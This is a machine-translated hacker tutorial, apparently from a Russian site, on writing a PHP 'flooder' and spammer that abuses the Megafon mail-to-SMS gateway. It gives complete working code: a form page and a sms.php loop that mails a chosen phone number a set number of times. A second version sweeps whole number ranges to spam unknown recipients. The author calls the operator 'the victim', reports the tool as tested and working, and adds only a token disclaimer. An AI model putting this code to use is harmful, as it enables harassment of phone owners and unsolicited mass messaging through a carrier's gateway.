This page has been robot translated, sorry for typos if any. Original content here.

Schreiben einer SMS-Flut oder eines Spammers (mail2sms)

mail2sms
Das Finden von defekten Links oder defekten Skripten entschied sich für Flooder. Das Opfer war das russische MEGAFON. Nehmen Sie es als Beispiel.

Hochwasser

Lassen Sie uns zunächst herausfinden, was ein Fluder ist. Nach meinem Verständnis ist eine Flut ein Programm oder ein Skript, das bestimmte Informationen in einer bestimmten Menge an einen bestimmten Empfänger sendet (oft in einer sehr großen Menge).

Und was brauchen wir, um einen solchen Flooder zu schreiben? Ja, fast nichts:
  • Hosting mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • Fähigkeit, Google zu verwenden
Für Überschwemmungen verwenden wir das SMS-Gateway dieses Betreibers.
SMS-Gateway - eine Schnittstelle, über die Sie SMS-Nachrichten senden und empfangen können, ohne ein Mobiltelefon zu verwenden. SMS-Nachrichten werden in E-Mail-Nachrichten, HTTP-Anfragen und umgekehrt konvertiert. Eine über ein ähnliches Gateway gesendete Nachricht kann für den Absender kostenlos sein. Es sind jedoch technische Einschränkungen möglich, z. B. die Begrenzung der Anzahl der von einem Computer pro Tag gesendeten Nachrichten.

Wie aus dem oben Gesagten hervorgeht, werden fortgeschrittene Programmierer für sich selbst nichts Neues lernen.
Sie haben sich also für ein Hosting entschieden und alles herausgefunden ...
Erstellen Sie eine index.php- Seite mit folgendem Inhalt:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie Sie dem Code entnehmen können, handelt es sich um eine Seite mit einem Formular zum Absenden, das auf unser Skript mit dem Namen sms.php verweist:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir beginnen den Code zu analysieren.
Zu Beginn des Skripts weisen wir Variablen zu.
$ from - Jedes Postfach, von dem aus Nachrichten gesendet werden.
$ to ist der Adressat, dh derjenige, den wir überschwemmen. Der Wert der Variablen stammt aus der Form index.php und ist an @ sms.mgsm.ru ausgerichtet. Was ist das @ sms.mgsm.ru? Dies ist das SMS-Gateway des MEGFON-Betreibers.
$ msg ist eine Variable, die den zu sendenden Text enthält.
Als nächstes folgt die Schleife, deren Aufgabe es ist, den richtigen Betrag mit einer Nachricht mit einer Schlafpause zu senden.
Die Mail-Funktion ist für die Weiterleitung von Mail an das Gateway verantwortlich.

Nun zur Schlaffunktion . Warum wird es benötigt?
Wenn wir es nicht eingeben, antwortet der Server nicht auf die gewünschte Anzahl von SMS und sendet sie in der Menge von 1-2 Stück. Hier, damit der Server Zeit hat zu antworten und diese Funktion benötigt wird. Die Anzahl der Sekunden Verzögerung ist in Klammern angegeben. Diese Zahl wird durch Auflisten verschiedener Optionen ausgewählt. Der Wert kann von der Belastung des Gateways und der Geschwindigkeit Ihres Internets abhängen. Also experimentiere hier. Das Skript wurde mit Parameter 7 überprüft.

Überprüfen Sie das Skript. Wir gehen zu unserem Formular, geben die notwendigen Daten ein und drücken den Knopf ...
Nun ist zu berücksichtigen, dass das Skript nicht sofort , sondern schrittweise ausgeführt wird und auf die Pause wartet, die Sie nach dem Senden jeder Nachricht festgelegt haben.

Spam

Was ist Spam? Ich verstehe Spam als das Massenversenden einiger Informationen an verschiedene Personen für verschiedene Zwecke. Was brauchen wir, um Spam zu organisieren?
  • alles was für flooder gelistet war
Es ist notwendig, die Form der Abreise ein wenig zu wiederholen. Ich werde nur ein Fragment geben:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein wenig modifizierter sms.php- Code:

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Ich denke hier ist alles klar. Wir bewegen uns entlang eines bestimmten Zahlenbereichs und senden ihnen SMS mit einem bestimmten Intervall. Diese Methode hat:
[+] funktioniert ohne Basis. Kosten und Verkehrseinsparungen
[+] Im Gegensatz zur Basis befinden Sie sich auch in Neulingen des Netzwerks, die sich noch nicht in den Datenbanken befinden (kostenpflichtig und kostenlos).
[-] Nicht alle gesendeten SMS werden aus dem Grund erreicht, dass möglicherweise keine solchen Nummern vorhanden sind. Sie können solche Bereiche jedoch so auswählen, dass die maximale Wahrscheinlichkeit einer SMS-Zustellung besteht.

Was zum Schluss zu sagen ...
Dieses Material ruft Sie nicht zum Handeln auf und dient nur zur Orientierung. Ich bin der Autor des Artikels und beim Kopieren und Einfügen ist hier ein Link erforderlich.
Mit ein wenig Lust und angemessenem Geschick wird das Skript in einen Spammer geändert oder an einen anderen Betreiber mit einem funktionierenden SMS-Gateway angepasst. Um die Gateways zu finden, brauchten wir hier eine Google-Fähigkeit. Für die Faulen - eine große Liste von Gateways . Dies könnte aber der nächste Artikel sein.

PS Fluder wurde neulich überprüft. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Möglichkeiten. Einer ist krumme Hände. Zweitens verfügt Ihr Hosting nicht über die E-Mail-Funktion. Drittens - der Bediener hat das Gateway geändert oder das Gateway ist überlastet.